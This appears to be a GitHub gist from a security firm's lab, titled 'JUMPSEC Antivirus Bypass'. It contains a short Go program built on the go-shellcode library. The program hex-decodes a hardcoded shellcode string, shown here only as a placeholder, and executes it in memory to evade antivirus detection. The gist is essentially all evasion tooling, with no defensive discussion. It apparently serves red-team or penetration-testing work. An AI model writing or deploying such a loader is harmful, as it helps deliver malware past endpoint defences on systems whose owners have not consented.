Skip to content

Instantly share code, notes, and snippets.

@JumpsecLabs
Created June 20, 2019 10:56
Show Gist options
  • Star 7 You must be signed in to star a gist
  • Fork 3 You must be signed in to fork a gist
  • Save JumpsecLabs/202f95f9cce1ff35f140a37de0e62f30 to your computer and use it in GitHub Desktop.
Save JumpsecLabs/202f95f9cce1ff35f140a37de0e62f30 to your computer and use it in GitHub Desktop.
JUMPSEC Antivirus Bypass
package main
import (
"encoding/hex"
"fmt"
"os"
shellcode "github.com/brimstone/go-shellcode"
)
// This is the main.go for https://github.com/brimstone/go-shellcode/. Full code should be taken from there, and full credit to Brimstone for the fine work.
func main() {
//if len(os.Args) != 2 {
// fmt.Printf("Must have shellcode\n")
// os.Exit(1)
//}
sc :="SHELLCODE-GOES-HERE"
sc_bin, err := hex.DecodeString(sc)
if err != nil {
fmt.Printf("Error decoding arg 1: %s\n", err)
os.Exit(1)
}
shellcode.Run(sc_bin)
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment